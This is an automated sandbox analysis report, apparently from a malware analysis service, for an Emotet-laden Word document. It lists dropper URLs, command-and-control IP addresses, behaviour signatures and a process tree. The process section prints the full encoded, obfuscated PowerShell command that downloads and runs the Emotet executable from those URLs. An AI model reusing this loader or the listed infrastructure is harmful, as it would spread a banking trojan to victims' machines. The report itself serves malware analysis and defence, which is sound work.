Overview

overview

10

Static

static

8

emotet_e3_...oc.doc

windows7_x64

10

emotet_e3_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    65s
  • max time network
    44s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    25/08/2020, 15:52

Sharing

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Report Analysis Logs

General

  • Target
    emotet_e3_935faff3db6f18509cbc3fe5b886bd60e4e91e92e3b4fd1a10492b774dc53ba1_2020-08-25__155121._doc.doc
  • Size 250KB
  • Sample200825-ftl27w8jca
  • SHA256 935faff3db6f18509cbc3fe5b886bd60e4e91e92e3b4fd1a10492b774dc53ba1
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://sauloramos.com.br/PLcbM/4oxcev0320/
  • exe.dropper

    http://jurczyk.biz/piotrek/IJilgckESlY/
  • exe.dropper

    http://lidiscom.com.br/BKP_TinaPOS/CQSMl/
  • exe.dropper

    http://cmswrexham.com/video/N2lzhgh45/
  • exe.dropper

    http://lyveinc.com/wp-content/uploads/attachments/XxM/
  • exe.dropper

    https://stateinsuranceonline.com/wp-content/yQzAGwyQs/
  • exe.dropper

    https://www.teringieestatefarms.com.au/wp-content/Lvqg/

Extracted

Family

  • emotet

C2

  • 82.239.200.118:80

  • 185.81.158.15:8080

  • 51.255.15.193:7080

  • 85.25.207.108:8080

  • 107.161.30.122:8080

  • 113.161.148.81:80

  • 74.208.173.91:8080

  • 139.59.12.63:8080

  • 188.0.135.237:80

  • 2.144.244.204:443

  • 87.106.231.60:8080

  • 181.137.229.1:80

  • 173.94.215.84:80

  • 175.29.183.2:80

  • 37.46.129.215:8080

  • 86.57.216.23:80

  • 181.126.54.234:80

  • 190.212.140.6:80

  • 46.105.131.68:8080

  • 190.190.15.20:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_935faff3db6f18509cbc3fe5b886bd60e4e91e92e3b4fd1a10492b774dc53ba1_2020-08-25__155121._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:852
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAEQASQByAGUAQwB0AG8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYABDAFUAYABSAEkAVAB5AHAAcgBgAG8AdABgAE8AYwBPAGwAIgAgAD0AIAAoACcAdAAnACsAJwBsAHMAJwArACgAJwAxADIAJwArACcALAAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEAJwArACcALAAnACsAJwAgAHQAJwApACsAJwBsAHMAJwApADsAJABOAG0AcABlADkAcQB1ACAAPQAgACgAJwBQAG8AJwArACcAaABhACcAKwAnAGUAbgAnACkAOwAkAFAAaQBqAGIAeAB3ADcAPQAoACgAJwBQACcAKwAnAG0ANQBkACcAKQArACcAMwAnACsAJwBsAG8AJwApADsAJABHAGMAcAB0AG4AZgByAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQAnACsAKAAnAHcAbwAnACsAJwByACcAKQArACcAZAB7ADAAJwArACcAfQAyADAAMQA5AHsAJwArACcAMAB9ACcAKQAgACAALQBmACAAWwBjAGgAQQByAF0AOQAyACkAKwAkAE4AbQBwAGUAOQBxAHUAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEIAYQByAGkAaQB2AHkAPQAoACgAJwBSACcAKwAnADAAbgAnACkAKwAnAHQAdQAnACsAJwBqAHQAJwApADsAJABKAHIAbwBxAGQAdAA3AD0ALgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBiAGMATABpAEUATgBUADsAJABUADEAdQB0AF8AYQBfAD0AKAAnAGgAJwArACgAJwB0ACcAKwAnAHQAcAA6ACcAKQArACcALwAvACcAKwAoACcAcwBhAHUAbAAnACsAJwBvACcAKQArACgAJwByAGEAbQBvAHMALgAnACsAJwBjACcAKwAnAG8AbQAnACsAJwAuAGIAcgAvAFAAJwArACcATAAnACsAJwBjAGIAJwApACsAJwBNACcAKwAoACcALwAnACsAJwA0AG8AeABjAGUAJwArACcAdgAwADMAJwApACsAKAAnADIAMAAnACsAJwAvACoAJwApACsAJwBoACcAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGoAdQAnACsAJwByAGMAJwApACsAJwB6ACcAKwAnAHkAawAnACsAKAAnAC4AJwArACcAYgBpAHoAJwApACsAJwAvAHAAJwArACgAJwBpAG8AdAAnACsAJwByAGUAJwApACsAKAAnAGsALwBJACcAKwAnAEoAaQBsAGcAYwAnACkAKwAoACcAawBFAFMAbABZACcAKwAnAC8AKgAnACsAJwBoACcAKQArACcAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvACcAKwAoACcALwBsACcAKwAnAGkAZAAnACkAKwAnAGkAJwArACcAcwAnACsAKAAnAGMAJwArACcAbwAnACsAJwBtAC4AYwBvAG0AJwApACsAKAAnAC4AYgAnACsAJwByACcAKQArACgAJwAvAEIAJwArACcASwBQACcAKQArACgAJwBfAFQAaQAnACsAJwBuAGEAUABPAFMALwBDACcAKwAnAFEAUwBNACcAKQArACgAJwBsAC8AJwArACcAKgAnACkAKwAoACcAaAAnACsAJwB0AHQAcAA6AC8AJwApACsAKAAnAC8AYwAnACsAJwBtACcAKQArACgAJwBzAHcAJwArACcAcgBlACcAKQArACgAJwB4ACcAKwAnAGgAYQAnACkAKwAnAG0AJwArACcALgAnACsAJwBjACcAKwAnAG8AJwArACgAJwBtAC8AJwArACcAdgBpAGQAZQAnACsAJwBvAC8AJwApACsAKAAnAE4AMgAnACsAJwBsAHoAJwApACsAJwBoACcAKwAnAGcAJwArACcAaAA0ACcAKwAoACcANQAnACsAJwAvACoAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAJwArACcAOgAnACkAKwAoACcALwAvAGwAJwArACcAeQAnACkAKwAnAHYAZQAnACsAKAAnAGkAbgAnACsAJwBjAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AJwApACsAKAAnAHcAcAAnACsAJwAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgAnACsAJwB0ACcAKQArACcALwB1ACcAKwAoACcAcABsAG8AYQAnACsAJwBkACcAKwAnAHMAJwApACsAKAAnAC8AYQB0AHQAJwArACcAYQBjAGgAJwApACsAKAAnAG0AZQBuACcAKwAnAHQAcwAvACcAKwAnAFgAeABNAC8AKgBoACcAKwAnAHQAdAAnACkAKwAnAHAAcwAnACsAKAAnADoALwAnACsAJwAvACcAKQArACcAcwB0ACcAKwAoACcAYQAnACsAJwB0AGUAJwApACsAJwBpACcAKwAnAG4AJwArACcAcwB1ACcAKwAoACcAcgBhAG4AJwArACcAYwBlACcAKQArACgAJwBvAG4AJwArACcAbAAnACkAKwAoACcAaQAnACsAJwBuAGUAJwApACsAKAAnAC4AYwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwAC0AJwArACcAYwAnACkAKwAnAG8AbgAnACsAKAAnAHQAZQAnACsAJwBuAHQALwB5AFEAegBBACcAKwAnAEcAJwApACsAKAAnAHcAJwArACcAeQBRAHMAJwArACcALwAqAGgAJwApACsAKAAnAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAHcAdwAnACsAJwB3AC4AdAAnACkAKwAoACcAZQAnACsAJwByAGkAbgBnACcAKQArACcAaQAnACsAKAAnAGUAZQBzACcAKwAnAHQAJwApACsAKAAnAGEAdABlAGYAJwArACcAYQAnACkAKwAnAHIAbQAnACsAKAAnAHMALgAnACsAJwBjACcAKQArACgAJwBvAG0AJwArACcALgBhAHUALwAnACkAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AJwArACcAYwBvAG4AdAAnACkAKwAnAGUAbgAnACsAJwB0ACcAKwAoACcALwBMACcAKwAnAHYAJwApACsAKAAnAHEAJwArACcAZwAvACcAKQApAC4AIgBzAHAAbABgAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFoAMQBuAGoAMgBnAHAAPQAoACgAJwBLAHoAJwArACcAXwBzACcAKQArACgAJwBiADIAJwArACcAdwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEEANwBzAHAAdwBrADcAIABpAG4AIAAkAFQAMQB1AHQAXwBhAF8AKQB7AHQAcgB5AHsAJABKAHIAbwBxAGQAdAA3AC4AIgBkAG8AVwBOAEwAbwBgAEEAYABEAGYASQBsAGUAIgAoACQAQQA3AHMAcAB3AGsANwAsACAAJABHAGMAcAB0AG4AZgByACkAOwAkAEYAbgBlAGEAeQBlADgAPQAoACgAJwBPADUAJwArACcAbgAnACkAKwAoACcAeQAnACsAJwBqAG0ANwAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtAEkAJwArACcAdABlACcAKwAnAG0AJwApACAAJABHAGMAcAB0AG4AZgByACkALgAiAGwARQBgAE4ARwB0AEgAIgAgAC0AZwBlACAAMgA2ADcAOQA4ACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlAC0AJwArACcASQB0AGUAJwArACcAbQAnACkAKAAkAEcAYwBwAHQAbgBmAHIAKQA7ACQARwBkAGIAMABmAGoANwA9ACgAKAAnAEMAJwArACcANQB1AHcAJwApACsAKAAnAGYAcAAnACsAJwA4ACcAKQApADsAYgByAGUAYQBrADsAJABRAG0AZwBlAHMAOQA3AD0AKAAnAEoAegAnACsAKAAnADkANAAnACsAJwAzAGUAYwAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUQB5ADMAeQB1ADQAYwA9ACgAJwBHAHEAJwArACgAJwB1AGsAJwArACcAbgBvAHAAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1800
    • C:\Users\Admin\AppData\Local\Temp\word\2019\Pohaen.exe
      "C:\Users\Admin\AppData\Local\Temp\word\2019\Pohaen.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1832
      • C:\Windows\SysWOW64\WcnEapAuthProxy\pnidui.exe
        "C:\Windows\SysWOW64\WcnEapAuthProxy\pnidui.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1628

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/852-2-0x0000000008790000-0x0000000008794000-memory.dmp
        Download

        memory/852-4-0x0000000006F10000-0x0000000007110000-memory.dmp
        Download

        memory/852-5-0x000000000ACD0000-0x000000000ACD4000-memory.dmp
        Download

        memory/1628-21-0x0000000000380000-0x000000000038C000-memory.dmp
        Download

        memory/1800-13-0x000000001AC20000-0x000000001AC21000-memory.dmp
        Download

        memory/1800-14-0x000000001C330000-0x000000001C331000-memory.dmp
        Download

        memory/1800-12-0x0000000002070000-0x0000000002071000-memory.dmp
        Download

        memory/1800-11-0x00000000023E0000-0x00000000023E1000-memory.dmp
        Download

        memory/1800-10-0x000000001ADD0000-0x000000001ADD1000-memory.dmp
        Download

        memory/1800-9-0x0000000002030000-0x0000000002031000-memory.dmp
        Download

        memory/1800-8-0x000007FEEA000000-0x000007FEEA9EC000-memory.dmp
        Download

        memory/1832-17-0x0000000000800000-0x000000000080C000-memory.dmp
        Download

        memory/1976-22-0x000007FEEA770000-0x000007FEEA9EA000-memory.dmp
        Download